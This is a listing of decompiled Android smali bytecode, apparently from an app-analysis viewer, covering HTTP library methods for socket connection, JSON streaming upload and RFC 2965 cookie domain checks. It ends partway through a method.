        • java.net.InetSocketAddress.<init>
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Ljava/net/UnknownHostException;,
        4Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        5}
        6.end annotation
        7if-nez p4, :cond_7
        8if-lez p5, :cond_5
        9goto/16 :goto_7
        10cond_5: const/4 p4, 0x0
        11goto/16 :goto_11
        12goto_7: new-instance v0, Ljava/net/InetSocketAddress;
        13if-lez p5, :cond_c
        14goto/16 :goto_d
        15cond_c: const/4 p5, 0x0
        16goto_d:
        17invoke-direct {v0, p4, p5}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        18move-object p4, v0
        19goto_11:
        20invoke-static {p2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
        21move-result-object p2
        22new-instance p5, Ljava/net/InetSocketAddress;
        24invoke-direct {p5, p2, p3}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        26iget-object p2, p0, Lcz/msebera/android/httpclient/conn/scheme/SocketFactoryAdaptor;->factory:Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;
        28invoke-interface {p2, p1, p5, p4, p6}, Lcz/msebera/android/httpclient/conn/scheme/SchemeSocketFactory;->connectSocket(Ljava/net/Socket;Ljava/net/InetSocketAddress;Ljava/net/InetSocketAddress;Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/Socket;
        29move-result-object p1
        30return-object p1
        APIs
        • java.lang.reflect.Method.equals
        • java.lang.reflect.Method.invoke
        • java.lang.reflect.InvocationTargetException.getCause
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/Throwable;
        3}
        4.end annotation
        6sget-object p1, Lcz/msebera/android/httpclient/impl/client/cache/ResponseProxyHandler;->CLOSE_METHOD:Ljava/lang/reflect/Method;
        8invoke-virtual {p2, p1}, Ljava/lang/reflect/Method;->equals(Ljava/lang/Object;)Z
        9move-result p1
        10if-eqz p1, :cond_d
        12invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/cache/ResponseProxyHandler;->close()V
        13const/4 p1, 0x0
        14return-object p1
        15cond_d:
        16iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/ResponseProxyHandler;->original:Lcz/msebera/android/httpclient/HttpResponse;
        18invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        19move-result-object p1
        20try_end_13: return-object p1
        21catch_14: move-exception p1
        23invoke-virtual {p1}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
        24move-result-object p2
        25if-eqz p2, :cond_1c
        26throw p2
        27cond_1c: throw p1
        APIs
        • java.net.Socket.bind
        • java.net.Socket.connect
        • java.net.Socket.close
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5if-eqz p2, :cond_3
        6goto/16 :goto_7
        7cond_3:
        8invoke-virtual {p0, p6}, Lcz/msebera/android/httpclient/conn/socket/PlainConnectionSocketFactory;->createSocket(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        9move-result-object p2
        10goto_7: if-eqz p5, :cond_c
        12invoke-virtual {p2, p5}, Ljava/net/Socket;->bind(Ljava/net/SocketAddress;)V
        13cond_c:
        14invoke-virtual {p2, p4, p1}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        15try_end_f: return-object p2
        16catch_10: move-exception p1
        17try_start_11:
        18invoke-virtual {p2}, Ljava/net/Socket;->close()V
        19try_end_14: throw p1
        Cross References
        APIs
        • java.util.Date.after
        Strings
        • Date
        Position Instruction Meta Information
        1const-string v0, "Date"
        3invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        4move-result-object p1
        6invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        7move-result-object p1
        9invoke-static {p1}, Lcz/msebera/android/httpclient/client/utils/DateUtils;->parseDate(Ljava/lang/String;)Ljava/util/Date;
        10move-result-object p1
        12const-string v0, "Date"
        14invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        15move-result-object p2
        17invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        18move-result-object p2
        20invoke-static {p2}, Lcz/msebera/android/httpclient/client/utils/DateUtils;->parseDate(Ljava/lang/String;)Ljava/util/Date;
        21move-result-object p2
        22const/4 v0, 0x0
        23if-eqz p1, :cond_2b
        24if-nez p2, :cond_22
        25goto/16 :goto_2b
        26cond_22:
        27invoke-virtual {p1, p2}, Ljava/util/Date;->after(Ljava/util/Date;)Z
        28move-result p1
        29if-nez p1, :cond_29
        30return v0
        31cond_29: const/4 p1, 0x1
        32return p1
        33goto_2b: return v0
        APIs
        • java.lang.reflect.Method.invoke
        Position Instruction Meta Information
        1sget-object v0, Lcz/msebera/android/httpclient/util/ExceptionUtils;->INIT_CAUSE_METHOD:Ljava/lang/reflect/Method;
        2if-eqz v0, :cond_f
        3try_start_4:
        4sget-object v0, Lcz/msebera/android/httpclient/util/ExceptionUtils;->INIT_CAUSE_METHOD:Ljava/lang/reflect/Method;
        5const/4 v1, 0x1
        6new-array v1, v1, [Ljava/lang/Object;
        7const/4 v2, 0x0
        8aput-object p1, v1, v2
        10invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        11cond_f: return-void
        APIs
        • java.lang.System.currentTimeMillis
        • java.util.zip.GZIPOutputStream.<init>
        • java.io.OutputStream.write
        • java.util.Map.keySet
        • java.util.Set.size
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map.get
        • java.io.OutputStream.write
        • java.lang.Object.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.Object.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.Boolean.booleanValue
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.Number.longValue
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.Number.doubleValue
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.Number.floatValue
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.Number.intValue
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.Object.toString
        • java.io.OutputStream.write
        • java.lang.System.currentTimeMillis
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.io.OutputStream.write
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Math.floor
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.OutputStream.write
        • java.io.OutputStream.flush
        • java.lang.IllegalStateException.<init>
        Strings
        • JsonStreamerEntity
        • Uploaded JSON in
        • seconds
        • Output stream cannot be null.
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5if-eqz p1, :cond_1c0
        7invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        8move-result-wide v0
        10iget-object v2, p0, Lcom/loopj/android/http/JsonStreamerEntity;->contentEncoding:Lcz/msebera/android/httpclient/Header;
        11if-eqz v2, :cond_12
        12new-instance v2, Ljava/util/zip/GZIPOutputStream;
        13const/16 v3, 0x1000
        15invoke-direct {v2, p1, v3}, Ljava/util/zip/GZIPOutputStream;-><init>(Ljava/io/OutputStream;I)V
        16move-object p1, v2
        17cond_12: const/16 v2, 0x7b
        19invoke-virtual {p1, v2}, Ljava/io/OutputStream;->write(I)V
        21iget-object v3, p0, Lcom/loopj/android/http/JsonStreamerEntity;->jsonParams:Ljava/util/Map;
        23invoke-interface {v3}, Ljava/util/Map;->keySet()Ljava/util/Set;
        24move-result-object v3
        26invoke-interface {v3}, Ljava/util/Set;->size()I
        27move-result v4
        28const/16 v5, 0x7d
        29if-lez v4, :cond_1b6
        30const/4 v6, 0x0
        32invoke-interface {v3}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        33move-result-object v3
        34goto_2a:
        35invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
        36move-result v7
        37const/16 v8, 0x3a
        38if-eqz v7, :cond_168
        40invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        41move-result-object v7
        42check-cast v7, Ljava/lang/String;
        43add-int/lit8 v6, v6, 0x1
        44const/16 v9, 0x2c
        45try_start_3c:
        46iget-object v10, p0, Lcom/loopj/android/http/JsonStreamerEntity;->jsonParams:Ljava/util/Map;
        48invoke-interface {v10, v7}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        49move-result-object v10
        51invoke-static {v7}, Lcom/loopj/android/http/JsonStreamerEntity;->escape(Ljava/lang/String;)[B
        52move-result-object v7
        54invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        56invoke-virtual {p1, v8}, Ljava/io/OutputStream;->write(I)V
        57if-nez v10, :cond_55
        59sget-object v7, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_NULL:[B
        61invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        62goto/16 :goto_152
        63cond_55: instance-of v7, v10, Lcom/loopj/android/http/RequestParams$FileWrapper;
        64if-nez v7, :cond_13f
        65instance-of v8, v10, Lcom/loopj/android/http/RequestParams$StreamWrapper;
        66if-eqz v8, :cond_5f
        67goto/16 :goto_13f
        68cond_5f: instance-of v7, v10, Lcom/loopj/android/http/JsonValueInterface;
        69if-eqz v7, :cond_6e
        70check-cast v10, Lcom/loopj/android/http/JsonValueInterface;
        72invoke-interface {v10}, Lcom/loopj/android/http/JsonValueInterface;->getEscapedJsonValue()[B
        73move-result-object v7
        75invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        76goto/16 :goto_152
        77cond_6e: instance-of v7, v10, Lorg/json/JSONObject;
        78if-eqz v7, :cond_7f
        80invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
        81move-result-object v7
        83invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        84move-result-object v7
        86invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        87goto/16 :goto_152
        88cond_7f: instance-of v7, v10, Lorg/json/JSONArray;
        89if-eqz v7, :cond_90
        91invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
        92move-result-object v7
        94invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        95move-result-object v7
        97invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        98goto/16 :goto_152
        99cond_90: instance-of v7, v10, Ljava/lang/Boolean;
        100if-eqz v7, :cond_a6
        101check-cast v10, Ljava/lang/Boolean;
        103invoke-virtual {v10}, Ljava/lang/Boolean;->booleanValue()Z
        104move-result v7
        105if-eqz v7, :cond_9f
        107sget-object v7, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_TRUE:[B
        108goto/16 :goto_a1
        109cond_9f:
        110sget-object v7, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_FALSE:[B
        111goto_a1:
        112invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        113goto/16 :goto_152
        114cond_a6: instance-of v7, v10, Ljava/lang/Long;
        115if-eqz v7, :cond_ca
        116new-instance v7, Ljava/lang/StringBuilder;
        118invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        119check-cast v10, Ljava/lang/Number;
        121invoke-virtual {v10}, Ljava/lang/Number;->longValue()J
        122move-result-wide v10
        124invoke-virtual {v7, v10, v11}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        126const-string v8, ""
        128invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        130invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        131move-result-object v7
        133invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        134move-result-object v7
        136invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        137goto/16 :goto_152
        138cond_ca: instance-of v7, v10, Ljava/lang/Double;
        139if-eqz v7, :cond_ed
        140new-instance v7, Ljava/lang/StringBuilder;
        142invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        143check-cast v10, Ljava/lang/Number;
        145invoke-virtual {v10}, Ljava/lang/Number;->doubleValue()D
        146move-result-wide v10
        148invoke-virtual {v7, v10, v11}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
        150const-string v8, ""
        152invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        154invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        155move-result-object v7
        157invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        158move-result-object v7
        160invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        161goto/16 :goto_152
        162cond_ed: instance-of v7, v10, Ljava/lang/Float;
        163if-eqz v7, :cond_110
        164new-instance v7, Ljava/lang/StringBuilder;
        166invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        167check-cast v10, Ljava/lang/Number;
        169invoke-virtual {v10}, Ljava/lang/Number;->floatValue()F
        170move-result v8
        172invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
        174const-string v8, ""
        176invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        178invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        179move-result-object v7
        181invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        182move-result-object v7
        184invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        185goto/16 :goto_152
        186cond_110: instance-of v7, v10, Ljava/lang/Integer;
        187if-eqz v7, :cond_133
        188new-instance v7, Ljava/lang/StringBuilder;
        190invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        191check-cast v10, Ljava/lang/Number;
        193invoke-virtual {v10}, Ljava/lang/Number;->intValue()I
        194move-result v8
        196invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        198const-string v8, ""
        200invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        202invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        203move-result-object v7
        205invoke-virtual {v7}, Ljava/lang/String;->getBytes()[B
        206move-result-object v7
        208invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        209goto/16 :goto_152
        210cond_133:
        211invoke-virtual {v10}, Ljava/lang/Object;->toString()Ljava/lang/String;
        212move-result-object v7
        214invoke-static {v7}, Lcom/loopj/android/http/JsonStreamerEntity;->escape(Ljava/lang/String;)[B
        215move-result-object v7
        217invoke-virtual {p1, v7}, Ljava/io/OutputStream;->write([B)V
        218goto/16 :goto_152
        219cond_13f:
        220invoke-virtual {p1, v2}, Ljava/io/OutputStream;->write(I)V
        221if-eqz v7, :cond_14a
        222check-cast v10, Lcom/loopj/android/http/RequestParams$FileWrapper;
        224invoke-direct {p0, p1, v10}, Lcom/loopj/android/http/JsonStreamerEntity;->writeToFromFile(Ljava/io/OutputStream;Lcom/loopj/android/http/RequestParams$FileWrapper;)V
        225goto/16 :goto_14f
        226cond_14a: check-cast v10, Lcom/loopj/android/http/RequestParams$StreamWrapper;
        228invoke-direct {p0, p1, v10}, Lcom/loopj/android/http/JsonStreamerEntity;->writeToFromStream(Ljava/io/OutputStream;Lcom/loopj/android/http/RequestParams$StreamWrapper;)V
        229goto_14f:
        230invoke-virtual {p1, v5}, Ljava/io/OutputStream;->write(I)V
        231goto_152:
        232iget-object v7, p0, Lcom/loopj/android/http/JsonStreamerEntity;->elapsedField:[B
        233if-nez v7, :cond_158
        234if-ge v6, v4, :cond_2a
        235cond_158:
        236invoke-virtual {p1, v9}, Ljava/io/OutputStream;->write(I)V
        237goto/16 :goto_2a
        238catchall_15d: move-exception v0
        240iget-object v1, p0, Lcom/loopj/android/http/JsonStreamerEntity;->elapsedField:[B
        241if-nez v1, :cond_164
        242if-ge v6, v4, :cond_167
        243cond_164:
        244invoke-virtual {p1, v9}, Ljava/io/OutputStream;->write(I)V
        245cond_167: throw v0
        246cond_168:
        247invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        248move-result-wide v2
        249sub-long/2addr v2, v0
        251iget-object v0, p0, Lcom/loopj/android/http/JsonStreamerEntity;->elapsedField:[B
        252if-eqz v0, :cond_191
        254iget-object v0, p0, Lcom/loopj/android/http/JsonStreamerEntity;->elapsedField:[B
        256invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
        258invoke-virtual {p1, v8}, Ljava/io/OutputStream;->write(I)V
        259new-instance v0, Ljava/lang/StringBuilder;
        261invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        263invoke-virtual {v0, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        265const-string v1, ""
        267invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        269invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        270move-result-object v0
        272invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        273move-result-object v0
        275invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
        276cond_191:
        277sget-object v0, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        279const-string v1, "JsonStreamerEntity"
        280new-instance v4, Ljava/lang/StringBuilder;
        282invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        284const-string v6, "Uploaded JSON in "
        286invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        287const-wide/16 v6, 0x3e8
        288div-long/2addr v2, v6
        289long-to-double v2, v2
        291invoke-static {v2, v3}, Ljava/lang/Math;->floor(D)D
        292move-result-wide v2
        294invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
        296const-string v2, " seconds"
        298invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        300invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        301move-result-object v2
        303invoke-interface {v0, v1, v2}, Lcom/loopj/android/http/LogInterface;->i(Ljava/lang/String;Ljava/lang/String;)V
        304cond_1b6:
        305invoke-virtual {p1, v5}, Ljava/io/OutputStream;->write(I)V
        307invoke-virtual {p1}, Ljava/io/OutputStream;->flush()V
        309invoke-static {p1}, Lcom/loopj/android/http/AsyncHttpClient;->silentCloseOutputStream(Ljava/io/OutputStream;)V
        310return-void
        311cond_1c0: new-instance p1, Ljava/lang/IllegalStateException;
        313const-string v0, "Output stream cannot be null."
        315invoke-direct {p1, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        316throw p1
        APIs
        • java.lang.String.toLowerCase
        • java.lang.String.startsWith
        • java.lang.String.indexOf
        • java.lang.String.length
        • java.lang.String.equals
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.indexOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        Strings
        • Cookie
        • Cookie origin
        • domain
        • .
        • .local
        • Domain attribute \"
        • \" violates RFC 2965:
        • effective host minus domain may not contain any dots
        • \" violates RFC 2965: effective host name does not
        • domain-match domain attribute.
        • \" violates RFC 2965: the value contains no embedded dots
        • and the value is not .local
        • \" violates RFC 2109: domain must start with a dot
        • Illegal domain attribute: \"
        • \".
        • Domain of origin: \"
        • \"
        • Invalid cookie state: domain not specified
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Cookie origin"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getHost()Ljava/lang/String;
        15move-result-object p2
        17sget-object v0, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        19invoke-virtual {p2, v0}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        20move-result-object p2
        22invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        23move-result-object v0
        24if-eqz v0, :cond_137
        26invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        27move-result-object v0
        29sget-object v1, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        31invoke-virtual {v0, v1}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        32move-result-object v0
        33instance-of v1, p1, Lcz/msebera/android/httpclient/cookie/ClientCookie;
        34if-eqz v1, :cond_ff
        35move-object v1, p1
        36check-cast v1, Lcz/msebera/android/httpclient/cookie/ClientCookie;
        38const-string v2, "domain"
        40invoke-interface {v1, v2}, Lcz/msebera/android/httpclient/cookie/ClientCookie;->containsAttribute(Ljava/lang/String;)Z
        41move-result v1
        42if-eqz v1, :cond_ff
        44const-string v1, "."
        46invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        47move-result v1
        48if-eqz v1, :cond_df
        49const/4 v1, 0x1
        50const/16 v2, 0x2e
        52invoke-virtual {v0, v2, v1}, Ljava/lang/String;->indexOf(II)I
        53move-result v3
        54if-ltz v3, :cond_4b
        56invoke-virtual {v0}, Ljava/lang/String;->length()I
        57move-result v4
        58sub-int/2addr v4, v1
        59if-ne v3, v4, :cond_53
        60cond_4b:
        61const-string v1, ".local"
        63invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        64move-result v1
        65if-eqz v1, :cond_ba
        66cond_53:
        67invoke-virtual {p0, p2, v0}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965DomainAttributeHandler;->domainMatch(Ljava/lang/String;Ljava/lang/String;)Z
        68move-result v1
        69if-eqz v1, :cond_95
        70const/4 v1, 0x0
        72invoke-virtual {p2}, Ljava/lang/String;->length()I
        73move-result v3
        75invoke-virtual {v0}, Ljava/lang/String;->length()I
        76move-result v0
        77sub-int/2addr v3, v0
        79invoke-virtual {p2, v1, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        80move-result-object p2
        82invoke-virtual {p2, v2}, Ljava/lang/String;->indexOf(I)I
        83move-result p2
        84const/4 v0, -0x1
        85if-ne p2, v0, :cond_70
        86goto/16 :goto_109
        87cond_70: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        88new-instance v0, Ljava/lang/StringBuilder;
        90invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        92const-string v1, "Domain attribute \""
        94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        97move-result-object p1
        99invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        101const-string p1, "\" violates RFC 2965: "
        103invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        105const-string p1, "effective host minus domain may not contain any dots"
        107invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        109invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        110move-result-object p1
        112invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        113throw p2
        114cond_95: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        115new-instance v0, Ljava/lang/StringBuilder;
        117invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        119const-string v1, "Domain attribute \""
        121invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        123invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        124move-result-object p1
        126invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        128const-string p1, "\" violates RFC 2965: effective host name does not "
        130invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        132const-string p1, "domain-match domain attribute."
        134invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        136invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        137move-result-object p1
        139invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        140throw p2
        141cond_ba: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        142new-instance v0, Ljava/lang/StringBuilder;
        144invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        146const-string v1, "Domain attribute \""
        148invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        150invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        151move-result-object p1
        153invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        155const-string p1, "\" violates RFC 2965: the value contains no embedded dots "
        157invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        159const-string p1, "and the value is not .local"
        161invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        163invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        164move-result-object p1
        166invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        167throw p2
        168cond_df: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        169new-instance v0, Ljava/lang/StringBuilder;
        171invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        173const-string v1, "Domain attribute \""
        175invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        177invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        178move-result-object p1
        180invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        182const-string p1, "\" violates RFC 2109: domain must start with a dot"
        184invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        186invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        187move-result-object p1
        189invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        190throw p2
        191cond_ff:
        192invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
